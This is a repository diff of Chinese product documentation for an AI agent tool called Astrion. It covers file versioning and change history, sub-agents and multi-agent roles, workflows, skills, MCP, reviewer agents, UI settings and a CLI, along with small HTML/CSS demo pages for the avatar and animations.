- 单个对话可在 `+` 菜单 →「版本控制」临时开关;
- 备份方式二选一(个人空间):
- **浅备份(默认)**:只追踪 AI 通过 **write_file / edit_file** 编辑的文件,每次编辑前自动备份当前内容——快、省空间,绝大多数场景够用。⚠️ 注意边界:**AI 用 run_command 执行命令改动的文件(如 sed、重定向、脚本写入不在浅备份的追踪范围内**
- **完全备份**:整工作区快照——最稳,但大项目下会明显变慢占空间。
### 检查点粒度:每条用户消息
- 你**每手动发送一条消息**,系统在该消息处理完成后记录一个检查点,引用当时所有已追踪文件的最新备份版本——也就是说,回溯的最小颗粒度是「一次用户手动发送的消息」,而不是单个文件编辑;
- 查看某个检查点的 diff = 该消息快照与上一条消息快照之间的差异;
- **回滚**到某个检查点 = 把所有已追踪文件恢复到该消息时的状态(覆盖式,回滚前请确认当前改动已另存或已提交)。
### 与其他机制的关系
- 版本控制追踪的是**文件系统状态**,与对话消息无关;
- 它与 Git 不冲突AI 不会替你 commit版本控制是 Git 之外的另一张安全网,适合「还没来得及 commit 就被改坏了」的场景。
## 2. 修改留痕modify history
任务级的净修改记录,**默认开启**。
- 每完成一轮任务,本轮对话中 AI 编辑过的全部文件以 **unified diff** 形式落盘到:`<工作区>/.astrion/modify_history/<对话ID>/`
- 每个任务一个 `.diff` 文件,文件名含该任务的用户输入摘要与开始时间;
- 对话中的「编辑摘要卡片」展示本轮编辑过的文件列表,点击可查看 diff卡片的显示时机可在个人空间配置默认工作完成后显示也可改为运行期间实时显示
### 用 diff 文件手工恢复
留痕文件可直接用 git 工具操作:
```bash
cd <工作区>
git apply <diff文件> # 重做这次修改
git apply -R <diff文件> # 撤销这次修改
```
典型场景版本控制没开、Git 没 commit、`git checkout` 误覆盖了 AI 的劳动成果——去 modify_history 里找到对应任务的 diff`git apply` 即可恢复。
> 该目录由系统自动维护,请勿手工增删其中文件;可在个人空间整体关闭(关闭后既不落盘也不注入提示)。
## 3. Git 状态栏
输入栏上方的状态条,实时显示当前工作区的 Git 状态摘要当前分支、未提交改动量等让你在不离开对话的情况下掌握「工作区现在脏不脏、AI 改了多少」。
- 默认显示;`+` 菜单 →「Git 状态栏」可快速显隐,个人空间有同款设置项;
- 工作区不是 Git 仓库时不显示。
## 4. 三层机制怎么选
| 需求 | 用哪层 |
|------|--------|
| 实时感知工作区改动 | Git 状态栏 |
| 回滚到对话中的某个时间点 | 版本控制 |
| 精确恢复/撤销某一轮任务的修改 | 修改留痕 diff |
| 长期、严肃的规模开发 | 仍然要 Git commit——前三级都是安全网不是版本管理的替代品 |
推荐姿势:重要项目保持「版本控制开 + 修改留痕开 + 勤 commit」三张网叠加AI 怎么折腾都丢不了东西。

View File

@ -0,0 +1,156 @@
# 智能体能力
Astrion 的智能体能力分五块:**子智能体**(主智能体派出的分身)、**多智能体对话**(一个角色团队)、**工作流**(既定流程模板)、**Skills**(专业技能包)、**MCP**(外部工具接入)。本章讲每块怎么用、怎么配。
---
## 1. 子智能体
### 是什么
子智能体是主智能体在**同一进程内**派出的独立执行体:有自己的上下文、自己的模型配置、独立的生命周期。主智能体用它来**并行处理相互独立的任务**——典型场景:同时调研三个技术方案、边跑测试边整理文档。
它**不适合**什么子智能体之间无法通信、看不到主对话历史所以协作型任务A 的输出是 B 的输入)应顺序执行或交给一个子智能体完成。代码编写/修改类任务默认由主智能体亲自完成。
### 怎么用
通常你不需要直接操作——告诉主智能体「同时帮我做 X 和 Y」它会自己判断拆分成子智能体。两种运行方式
- **前台(阻塞)**:主智能体停下来等它完成,适合快任务、后续依赖结果的场景;
- **后台**:主智能体继续干活或与你聊天,子智能体完成后系统自动通知。
你可以通过对话区右侧**快捷窗口的「子智能体」窗**实时查看每个子智能体的状态与输出(见《快捷窗口》)。
### 生命周期与限制
- 状态:`running`(运行中)→ `idle`(空闲,上下文保留,可继续对话)/ 终态(完成/失败/超时/终止);
- 并发上限默认 **5**`SUB_AGENT_MAX_ACTIVE`
- 默认超时 **180 秒**,创建时可为单个任务指定更长超时(大规模分析建议 1800 秒以上);
- 产出物约定放在工作区 `sub_agent_results/` 下。
### 怎么配(模型库)
子智能体使用独立模型库 `sub_agent_models.json`,配置方法见《快速上手》第 6 节。创建单个任务时主智能体可指定:模型条目、思考模式、超时、最大轮数等。不配则用 `default_model` 条目。
## 2. 多智能体对话
### 是什么
一种**对话类型**(创建时选定,不可变):主智能体固定为 Team Leader负责理解你的需求、拆解任务、创建并指挥一组**带角色的子智能体**,汇总它们的产出。
### 角色系统
预置 5 个角色:
| 角色 | 职责 |
|------|------|
| Full-Stack Engineer | 前后端代码实现、接口设计、调试联调 |
| UI Operator | 界面操作与视觉验证 |
| Code Reviewer | 代码审查 |
| Researcher | 调研与信息收集 |
| Brainstormer | 头脑风暴与方案发散 |
角色 = `角色ID + 实例编号`,显示名如 `Full-Stack Engineer_1`,编号按角色内递增。
**自定义角色**:个人空间里有角色编辑器(角色列表 → 新建/编辑)。角色定义是一个带元信息的 Markdown 文件:
```markdown
---
id: full-stack-engineer # 角色ID
name: Full-Stack Engineer # 显示名
description: 职责一句话 # Team Leader 据此派活
model: "" # 指定模型(留空用子智能体模型库默认)
thinking_mode: thinking # fast / thinking
---
(正文是该角色的系统提示词:职责、工作原则、约束……)
```
### 通信机制(用起来需要知道的)
- Team Leader 给子智能体发消息有两种:**派活**(不阻塞,继续干别的)和**询问**(阻塞等它回一轮);
- 子智能体之间可以互相请教/回答,但**所有子间通信都会同步汇报给 Team Leader**
- 子智能体每一轮输出都会实时汇报给 Team Leader 并展示在对话流里,你可以随时插话纠偏。
### 什么时候用多智能体
适合:一个小型项目需要「写代码的 + 审代码的 + 跑界面的」分工协作;不适合:单线程就能干完的任务(徒增协调开销)。
## 3. 工作流
### 是什么
把一套**既定流程**(阶段、审核点、分支、结束方式)写成 `WORKFLOW.md` 存为模板;激活后,智能体严格按流程逐阶段推进,每个阶段完成后向你或审核智能体汇报,审核通过才进入下一阶段。
### 怎么用
- 激活:`+` 菜单 →「工作流」,或输入 `/workflow` 选择;
- 推进:每个阶段完成后 AI 自动汇报并进入下一阶段(含审核节点时由审核智能体把关,驳回会带整改意见退回上一阶段);
- 分支流程到分支点时AI 给出可选路径菜单让你拍板;
- 退出/查看进度:随时可以让 AI 退出工作流或汇报当前进展;
- 同一对话同时只能激活一个工作流。
### 内置工作流
| 工作流 | 用途 |
|--------|------|
| bug-fix-triage | 缺陷分诊与修复流程 |
| code-review-pipeline | 代码评审流水线 |
| feature-development | 功能开发全流程 |
| research-report | 调研报告生成流程 |
### 自定义工作流
参照内置工作流的 `WORKFLOW.md` 格式编写,放入工作流库目录即可。建议直接用自然语言让 AI「按 workflow-authoring 技能帮我写一个 xx 流程」——系统内置了编写规范和格式校验,写完自动归档可激活。
工作流审核由**工作流审核智能体**`workflow_review`)执行,配置见下文「审核智能体」。
## 4. Skills技能包
### 是什么
Skill = 一个文件夹 + 一份 `SKILL.md`带元信息的技能说明书。它把「某类任务该怎么做」的经验沉淀下来AI 遇到匹配场景时先读技能再动手——相当于给 AI 发岗位培训手册。
### 内置 Skills12 个)
`agent-build-standard`Agent 架构教学)、`agents-md-writer`(写 AGENTS.md、`docx`Word 文档)、`pptx`PPT、`frontend-design`(前端设计)、`ui-aesthetic-design`UI 美学)、`skill-creator`(创建新 Skill、`workflow-authoring`(写工作流)、`run-command-guide`(命令执行规范)、`terminal-guide`(终端使用规范)、`sub-agent-guide`(子智能体规范)、`mcp-tool-config`MCP 自助配置)。
### 怎么用
- 插入引用:输入 `//``+` 菜单 →「选择 AgentSkill」把技能引用插进消息
- 启用/停用:个人空间「工具与 Skills」页管理启用列表
- **强约束开关**(默认全关):可分别要求「用终端前先读 terminal-guide」「用 run_command 前/后台前先读规范」「派子智能体前先读 sub-agent-guide」——适合新手期防误用熟练后可关
- **Skill 提示**(默认关):根据任务动态提示可能相关的技能。
### 自定义 Skill
直接对 AI 说「把今天的流程沉淀成一个 skill」它会按 `skill-creator` 规范创建、校验并归档,之后即可复用。用户技能存放在工作区 `.astrion/skills/`
## 5. MCP 工具扩展
通过 [Model Context Protocol](https://modelcontextprotocol.io) 接入外部工具服务(数据库、浏览器自动化、第三方 SaaS……接入后 AI 工具列表里会出现 `mcp__服务名__工具名` 形式的新工具。
- **配置文件**`<数据根>/<模式>/data/mcp_servers.json`(可用 `MCP_SERVERS_FILE` 覆盖);
- **总开关**`MCP_TOOLS_ENABLED`(默认开);
- 协议版本 `2025-06-18`,工具发现/调用默认超时 25 秒;
- **host 模式特色**:你可以直接让 AI「帮我配置 xxx MCP 服务」——内置 `mcp-tool-config` 技能会引导它自己写好配置并生效。
## 6. 审核智能体(三个)
三个在关键节点替你把关的独立 AI统一在个人空间「审核智能体」页配置**模型复用子智能体模型库**
| 审核智能体 | 介入时机 |
|------------|----------|
| `auto_approval` 自动审批 | `auto_approval` 权限模式下,命令要写沙箱外/触发权限拒绝时自动审批 |
| `goal_review` 目标审核 | 目标模式下,评估每轮工作是否达成目标 |
| `workflow_review` 工作流审核 | 工作流的审核节点,决定放行还是驳回 |
每个可配:`model`(留空用模型库默认)、`thinking`(思考模式)、`timeout_seconds`、`max_rounds`、`max_command_timeout`。
> 经验:审核智能体建议选**便宜但稳定**的模型——它们调用频繁、任务模式固定,没必要上旗舰。
## 7. 组合玩法示例
- **多智能体 + 工作流**:激活 feature-development 工作流后Team Leader 按流程指挥角色团队逐阶段交付;
- **子智能体 + Skills**:调研任务前插入 `//frontend-design`,子智能体带着设计规范干活;
- **MCP + 快捷窗口**:浏览器自动化 MCP 跑长任务时,在「后台命令」窗口盯实时进度。

View File

@ -0,0 +1,33 @@
# 快捷窗口Quick Dock
对话区右侧的一列浮动窗口,把「任务进行中产生的可交互产物」集中在一处,不用翻消息流就能盯住全局。
---
## 1. 五个窗口
自上而下依次是:
| 窗口 | 显示什么 | 典型操作 |
|------|----------|----------|
| **工作流** | 当前激活的工作流:处于哪个阶段、审核状态、待决分支 | 查看流程进展,配合分支选择 |
| **待办** | AI 创建的任务清单todo每件事的完成状态 | 看 AI 的执行计划推进到哪一步 |
| **子智能体** | 运行中/空闲的子智能体实例:状态、当前在做什么 | 点详情看输出时间线;⋯ 菜单**强制关闭**失控实例 |
| **后台命令** | 后台运行的命令任务:状态、耗时 | 点详情看完整输出;⋯ 菜单强制关闭 |
| **文件记录** | 本轮任务 AI 编辑/创建过的文件 | ⋯ 菜单:**下载** / **在文件管理器中打开**host 模式)/ **复制路径** |
### 详情面板
- 点击子智能体/后台命令条目 → 打开**运行器详情面板**:输出与工具调用按真实时间线混排,失控时可强制关闭;
- 点击文件条目 → 打开**文件预览面板**:直接查看文件内容。长行默认横向滚动,个人空间可改为按面板宽度自动换行。
## 2. 展开与收起
- **有内容时自动展开**(默认):任何一个窗口有内容时,整列自动展开;全空时自动收起为边缘细条,不占地方;
- 个人空间可改为**仅手动展开**`quick_dock_auto_expand`),或**整体隐藏**`hide_quick_dock`)。
## 3. 使用心法
- **盯失控**:子智能体/后台命令行为异常时,不用在对话里喊话,直接 ⋯ → 强制关闭;
- **盯进度**:长任务期间,待办窗 + 子智能体窗就是项目看板;
- **收产物**:任务结束到文件记录窗批量下载或跳目录,比在消息流里翻卡片快得多。

View File

@ -0,0 +1,154 @@
# 个人空间设置全解
个人空间(输入栏 `+` 菜单 →「个人设置」)共分 12 个标签页(管理员多 1 个)。本章**逐页逐项**说明每个设置的作用、默认值与使用场景——设置页面里一句话说不清的,都在这里讲透。
> 约定:「默认」指代码出厂默认值;如果你用过 `setup.sh` 向导,个别默认值可能被向导的选择覆盖。
---
## 1. 常规
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 自动生成标题 | 开 | 首轮对话后自动生成对话标题。关闭后新对话保持「新对话」占位名,需手动重命名 |
## 2. 个性化
这一页决定「AI 用什么人格与你相处」。
| 设置项 | 默认 | 作用与场景 |
|--------|------|------------|
| 启用个性化 | 关 | 本页总开关。关闭时下列配置不注入提示词 |
| AI 自称 | 空 | AI 如何称呼自己≤20 字如「小A」 |
| 称呼你 | 空 | AI 如何称呼你≤20 字) |
| 职业 | 空 | 你的职业≤20 字)。填了 AI 会按你的背景调整表达深浅——开发者给技术细节,业务人员讲人话 |
| 语气 | 空 | 8 个预设:健谈 / 幽默 / 直言不讳 / 鼓励性 / 诗意 / 企业商务 / 打破常规 / 同理心 |
| 注意事项 | 空 | **最强大的一项**:最多 10 条、每条 2000 字的长期指令,每轮对话都注入。适合写「回答必须用中文」「代码注释用英文」「我是色弱,图表避免红绿配色」这类长期偏好 |
| 交流风格 | 标准 | 标准 AI 风格 / 拟人聊天风格 / 自动(按场景切换) |
| 对话连续性 | 中 | 高:主动回顾历史对话与记忆;中:平衡;低:每轮对话尽量独立。**开了「最近对话提示」却觉得 AI 总是答非所问地提旧事,就把这里调低** |
## 3. 模型与思考
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 默认模型 | 模型库第一个可见项 | 新对话默认使用的模型,可选库中任意已注册模型 |
| 默认思考模式 | 思考 | fast / thinking。思考模式质量更高快速模式响应更快 |
| 默认推理强度 | 默认(不传参) | 默认 / 低 / 中 / 高;需模型开启 `reasoning_effort` 才生效 |
> 这里的「默认」都只影响**新建对话**;已有对话用输入栏的切换器单独调。
## 4. 外观与显示
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) |
| 消息流显示模式 | 堆叠动画 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) |
| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 |
| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 |
| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) |
| 显示 Git 状态栏 | 开 | 输入栏上方的 Git 状态条 |
| 显示自定义称呼 | 开 | 在界面中显示你设置的自称/称呼 |
| 增强工具显示 | 开 | 工具结果结构化渲染;关掉则更接近原始输出 |
| 自动打开终端面板 | — | 终端任务时自动展开实时终端面板 |
| 快捷窗口自动展开 | 开 | Quick Dock 有内容时自动展开;关闭则只能手动点开 |
| 隐藏快捷窗口 | 关 | 整体关闭 Quick Dock |
| 编辑摘要实时显示 | 关 | 开AI 边改边显示编辑摘要卡片;关:一轮工作完成后统一显示 |
| 文件预览自动换行 | 关 | 开:预览面板按宽度换行;关:长行横向滚动 |
| 侧边栏按工作区分组 | 关 | 对话列表按工作区/项目分组;分组模式支持工作区置顶与排序 |
| 新建对话按钮行为 | 跳转空白页 | route跳到空白新对话页 / blank立即创建空对话 |
## 5. 工作区与权限
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 默认权限模式 | 无限制 | 新终端的初始权限模式。**强烈建议改为「批准」**,四档行为见《核心概念》 |
| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 |
| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 |
| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.mdAI 始终带着项目规范干活。长期项目建议开 |
| 修改留痕 | 开 | 每轮任务结束后把净修改 diff 落盘到 `.astrion/modify_history/`。关闭后既不落盘也不注入提示 |
| 新对话默认开启版本控制 | 开 | 建议保持开启,这是文件安全网 |
| 版本控制备份方式 | 浅备份 | 浅备份:只备份 AI 编辑的文件;完全备份:整工作区快照(大项目慎用) |
| 目标审核模式 | 仅读对话 | 目标模式的审核方式readonly 只读对话判断 / active 允许审核智能体跑只读命令取证 |
| 目标最大轮数 | 有默认值 | 目标模式自动续轮上限 |
| 目标 token 上限 | 不启用 | 累计输入+输出 token 达到即停1k100M。注意是工作区级近似统计 |
## 6. 上下文
这一页是长对话质量的关键,**改动前建议先读《输入与上下文》第 4 节**。
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 最近对话提示 | 关 | 开:新对话自动注入最近 N 条历史对话摘要 |
| 最近对话数量 | 10 | 上面那项的 N130 |
| 项目记忆索引上限 | 20 条 | 项目记忆索引最多注入条数≥5可设无上限 |
| 自动浅压缩 | 关 | ⚠️ **会破坏上下文缓存**,见《输入与上下文》。不推荐开 |
| 浅压缩触发 token | 80000 | 自定义时**至少为模型实际可用上下文的 80%** |
| 浅压缩保留最近工具数 | 15 | 最近 N 个工具结果不压 |
| 浅压缩保留用户轮次工具 | 3 | 最近 N 次用户输入之后的工具不压 |
| 浅压缩每轮最多替换 | 10 | 单次压缩最多替换多少个工具结果 |
| 浅压缩工具调用间隔 | 10 | 每 N 次工具调用检查一次是否触发 |
| 自动深压缩 | 开 | 推荐保持开启 |
| 深压缩触发 token | 150000 | 同样遵守 80% 规则 |
| 深压缩产物形式 | 生成文件 | file总结写入文件随取随用推荐/ inject直接注入总结全文 |
## 7. 工具与 Skills
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 静默禁用工具 | 开 | 禁用某工具时不向模型插入提示,上下文更干净 |
| 隐藏工具审批面板 | 开 | auto_approval 模式下不自动弹出审批面板打扰你;关则有审批即弹 |
| 工具意图说明 | 开 | 工具调用卡片上显示「要做什么」的简述;关掉可让消息流更紧凑 |
| Skill 提示 | 关 | 根据当前任务动态提示可能相关的 Skill |
| 强约束:终端 | 关 | 开AI 使用终端工具前必须先读 terminal-guide 规范 |
| 强约束:子智能体 | 关 | 开:派子智能体前必须先读 sub-agent-guide |
| 强约束:前台命令 | 关 | 开run_command 前台模式前必须先读规范 |
| 强约束:后台命令 | 关 | 开run_command 后台模式前必须先读规范 |
| 启用 Skills 列表 | 全部 | 勾选哪些 Skill 可被使用 |
| 禁用工具类别 | 无 | 按类别整体禁用工具(如禁用网页搜索类) |
四个「强约束」是新手护栏:强迫 AI 在用高危工具前先读使用规范,显著降低误操作率;熟练后关掉可省 token。
## 8. 文件与图片
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 图片压缩档位 | 原图 | 原图 / 1080p / 720p / 540p。长对话多发大图建议降档省上下文 |
## 9. 数据管理
只读的**用量统计**页:累计输入/输出 token、总对话数、用户消息数、工具调用次数支持手动刷新。用来回答「我这个月烧了多少 token」。
## 10. 语音模型
端侧语音识别模型SenseVoice int8的下载管理约 228MB**仅在手机本地运行、无需网络**,支持中英混说与自动标点。页面显示下载状态(未下载/下载中百分比/已下载/下载不完整),可重新下载或删除。此功能面向 Android 客户端。
## 11. 子智能体
多智能体**角色编辑器**:角色列表、新建角色、编辑角色。角色的字段与写法见《智能体能力》第 2 节。预置 5 个角色可查看参考,自定义角色随改随用。
## 12. 审核智能体
三个审核智能体(自动审批 / 目标审核 / 工作流审核)的统一配置页,各自可配:
| 字段 | 说明 |
|------|------|
| 模型 | 子智能体模型库中的条目名;**留空 = 用模型库 `default_model`** |
| 思考模式 | fast / thinking |
| 超时时间 | 单次审核的最长等待 |
| 最大轮数 | 审核智能体自身的工作轮数上限 |
| 命令超时 | 审核中执行核查命令的单条超时 |
配置建议:审核任务模式固定、调用频繁,选便宜稳定的模型即可,不必用旗舰。
## 13. 管理员(仅管理员可见)
管理员专属页:用户与策略管理(`admin/` 相关界面)。普通用户看不到此页。
---
## 附:设置生效机制
- 所有设置存储在数据目录的 `personalization.json`,按用户隔离;
- 「默认 XX」类设置只影响新建对象新对话/新终端),不改已有的;
- 显示类设置(主题、显示模式等)即时生效;
- 涉及提示词注入的设置个性化、注意事项、AGENTS.md 注入等)从下一轮对话开始生效。

36
website-content/10-cli.md Normal file
View File

@ -0,0 +1,36 @@
# CLI开发中
> ⚠️ CLI 目前处于**重写中的开发状态**,功能与稳定性以 Web 端为准,本文仅介绍当前形态,所列行为后续可能变化。
---
## 1. 是什么
一个终端里的对话客户端:**React 19 + Ink 6 + TypeScript** 实现的 TUI让你不打开浏览器也能与 Astrion 对话。
关键点CLI **不是独立的 Agent 运行时**——它连接的是你本地正在运行的 Astrion Web 服务(默认 `127.0.0.1:8091`所有对话、工具执行、权限控制都走后端CLI 只是一个更轻的交互界面。
## 2. 启动
```bash
npm --prefix cli install # 首次安装依赖
npm run cli # 启动,自动连接本地 8091 服务
```
启动后会清屏、连接本地服务、创建新会话,输入区固定在底部。若当前目录不在任何已授权工作区中,会先询问是否添加为工作区。
## 3. 当前能力与边界
- 基础对话、流式输出、工具调用展示;
- `/` 指令体系(设计中,详见仓库 `docs/cli_slash_commands_spec.md`
- 思考内容默认折叠,只显示「思考中 / 思考完成」;
- 多模态、快捷窗口、版本控制等 Web 端能力在 CLI 中**尚未对齐**——需要完整功能时请用 Web 端。
## 4. 面向开发者
```bash
npm run cli:typecheck # 类型检查
npm run cli:build # 构建(产物提供 agents / agents-cli 命令)
```
CLI 代码在 `cli/src/``App.tsx`、`components.tsx`、`eventMapper.ts`、`api.ts`),欢迎贡献。

31
website-content/README.md Normal file
View File

@ -0,0 +1,31 @@
# Astrion 官网文档(中文版文案)
本目录是 Astrion 官网的**中文文案底稿**,后续将迁入独立仓库并据此设计官网。
## 章节地图
| 文件 | 章节 | 读者 |
|------|------|------|
| `01-quick-start.md` | 快速上手安装、端口、数据路径、模型与子智能体模型配置、host/docker 选择 | 新用户 |
| `02-core-concepts.md` | 核心概念:部署/权限/执行环境/运行模式四组正交概念,各平台沙箱安全水位 | 所有人(最重要的一章) |
| `03-conversations.md` | 对话对话类型、思考模式与推理强度、目标模式Beta、对话面板、对话管理 | 用户 |
| `04-input-context.md` | 输入与上下文:`+` 菜单全项、`/` 斜杠菜单、`@` 引用、压缩机制与 80% 规则 | 用户 |
| `05-execution-security.md` | 执行与安全两段式执行、路径授权、网络权限、审批、direct 忠告 | 用户/管理员 |
| `06-conversation-assets.md` | 对话资产管理版本控制、修改留痕、Git 状态栏 | 用户 |
| `07-agent-capabilities.md` | 智能体能力子智能体、多智能体、工作流、Skills、MCP、审核智能体 | 进阶用户 |
| `08-quick-dock.md` | 快捷窗口:五个窗口的用法与操作 | 用户 |
| `09-settings.md` | 个人空间设置全解12 个标签页逐项说明 | 用户(工具书式查阅) |
| `10-cli.md` | CLI开发中形态、启动、当前边界 | 用户/开发者 |
## 写作约定
- 全部功能描述**以代码事实为准**(文件:行号级核实),不以界面描述文案为准;
- 安全性内容如实标注macOS 全局可读、Linux 沙箱未实测、Windows WSL2 可完全隔离);
- Beta/开发中功能明确标注;
- 每个设置项都给出「默认值 + 作用 + 什么场景要改」。
## 待补充(设计官网阶段)
- 开发者文档线(架构/消息管线/多智能体内部机制等,以 AGENTS.md 为底重组)
- 首页 landing 文案与截图
- 截图与演示素材(需运行实例采集)

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View File

@ -0,0 +1,76 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Astrion 形象组件 · 验收</title>
<link rel="stylesheet" href="../shared/astrion-avatar.css" />
<link rel="stylesheet" href="style.css" />
</head>
<body>
<header class="page-head">
<h1>形象组件验收</h1>
<p>参数 1:1 还原产品 StatusAvatar.vueviewBox 200 · 外框 12 · 眼睛 10 · currentColor。移动鼠标看追踪等几秒看眨眼。</p>
</header>
<section class="panel panel--light">
<div class="live-row">
<div class="live-avatar" data-avatar data-mode="idle"></div>
<div class="live-note">
<strong>idle · 活</strong>
<span>随机眨眼2.24.8s)· 眼睛追踪鼠标方向</span>
</div>
</div>
<div class="live-row">
<div class="live-avatar" data-avatar data-mode="think"></div>
<div class="live-note">
<strong>think</strong>
<span>三个波浪圆点(产品思考态原样)</span>
</div>
</div>
</section>
<section class="panel panel--dark">
<div class="live-row">
<div class="live-avatar" data-avatar data-mode="idle"></div>
<div class="live-note">
<strong>深色底</strong>
<span>颜色 = currentColor跟随文字色不需要任何适配代码</span>
</div>
</div>
<div class="live-row">
<div class="live-avatar" data-avatar data-mode="think"></div>
<div class="live-note">
<strong>think</strong>
<span>同一组件,零改动</span>
</div>
</div>
</section>
<section class="panel panel--light">
<h2>尺寸序列</h2>
<div class="size-row">
<div class="size-cell"><div data-avatar data-mode="idle" data-size="16"></div><span>16</span></div>
<div class="size-cell"><div data-avatar data-mode="idle" data-size="24"></div><span>24</span></div>
<div class="size-cell"><div data-avatar data-mode="idle" data-size="32"></div><span>32</span></div>
<div class="size-cell"><div data-avatar data-mode="idle" data-size="48"></div><span>48</span></div>
<div class="size-cell"><div data-avatar data-mode="idle" data-size="64"></div><span>64</span></div>
<div class="size-cell"><div data-avatar data-mode="idle" data-size="96"></div><span>96</span></div>
</div>
</section>
<script src="../shared/astrion-avatar.js"></script>
<script>
document.querySelectorAll('[data-avatar]').forEach(function (el) {
var size = parseInt(el.dataset.size || '160', 10);
el.style.width = size + 'px';
el.style.height = size + 'px';
AstrionAvatar.mount(el, {
mode: el.dataset.mode || 'idle',
blink: el.dataset.mode !== 'think',
track: el.dataset.mode !== 'think' && size >= 32
});
});
</script>
</body>
</html>

View File

@ -0,0 +1,106 @@
/* 形象验收 demo —— 刻意无装饰,只验证组件本身 */
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, "PingFang SC", "Noto Sans SC", sans-serif;
background: #faf9f5;
color: #1f1c17;
}
.page-head {
max-width: 760px;
margin: 0 auto;
padding: 48px 24px 8px;
}
.page-head h1 {
font-size: 20px;
font-weight: 600;
margin-bottom: 8px;
}
.page-head p {
font-size: 13px;
line-height: 1.8;
color: #6b655a;
}
.panel {
max-width: 760px;
margin: 24px auto;
padding: 40px 24px;
border-radius: 12px;
}
.panel--light {
background: #ffffff;
border: 1px solid #e8e2d5;
color: #1f1c17;
}
.panel--dark {
background: #14161b;
color: #e8e6e1;
}
.panel h2 {
font-size: 13px;
font-weight: 600;
color: inherit;
opacity: 0.5;
margin-bottom: 20px;
}
.live-row {
display: flex;
align-items: center;
gap: 32px;
}
.live-row + .live-row {
margin-top: 32px;
padding-top: 32px;
border-top: 1px solid currentColor;
}
.live-avatar {
flex-shrink: 0;
width: 160px;
height: 160px;
}
.live-note {
display: flex;
flex-direction: column;
gap: 6px;
}
.live-note strong {
font-size: 15px;
font-weight: 600;
}
.live-note span {
font-size: 13px;
opacity: 0.55;
}
.size-row {
display: flex;
align-items: flex-end;
gap: 40px;
}
.size-cell {
display: flex;
flex-direction: column;
align-items: center;
gap: 10px;
}
.size-cell span {
font-size: 11px;
font-family: ui-monospace, monospace;
opacity: 0.45;
}

View File

@ -0,0 +1,20 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>运行模式动画 demo</title>
<link rel="stylesheet" href="/site-assets/anim-demo.css" />
<link rel="stylesheet" href="/site-assets/anim-shared.css" />
</head>
<body>
<div class="stage">
<p class="hint">点击顶部标签切换模式;再次点击当前标签重播。</p>
<div class="anim-host" id="animModes"></div>
</div>
<script src="/site-assets/anim-modes.js"></script>
<script>AnimModes.init(document.getElementById('animModes'));</script>
</body>
</html>

View File

@ -0,0 +1,49 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>沙箱与网络授权动画 demo</title>
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-sandbox.css" />
<style>
:root {
--bg-0: #0c1120;
--bg-1: #111830;
--text-1: #eef1f8;
--text-2: #a7b0c4;
--text-3: #6b7488;
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--ok: #7ba889;
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: var(--font-sans);
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-1);
}
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
#anim2Window { width: 540px; height: 388px; }
</style>
</head>
<body>
<div class="stage">
<p class="hint">自动无限循环播放:每轮随机 20 条15 短 + 5 长),弹道随机。</p>
<div id="anim2Window"></div>
</div>
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim-sandbox.js"></script>
<script>AnimSandbox.init(document.getElementById('anim2Window'));</script>
</body>
</html>

View File

@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>修改记录动画 demo</title>
<link rel="stylesheet" href="/site-assets/anim3-demo.css" />
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-records.css" />
</head>
<body>
<div class="stage">
<p class="hint">自动播放;收盒后自动轮播,按下卡片暂停 5 秒。</p>
<div class="anim-host" id="animRecords"></div>
</div>
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim-records.js"></script>
<script>AnimRecords.init(document.getElementById('animRecords'));</script>
</body>
</html>

View File

@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>版本控制动画 demo</title>
<link rel="stylesheet" href="/site-assets/anim4-demo.css" />
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-version.css" />
</head>
<body>
<div class="stage">
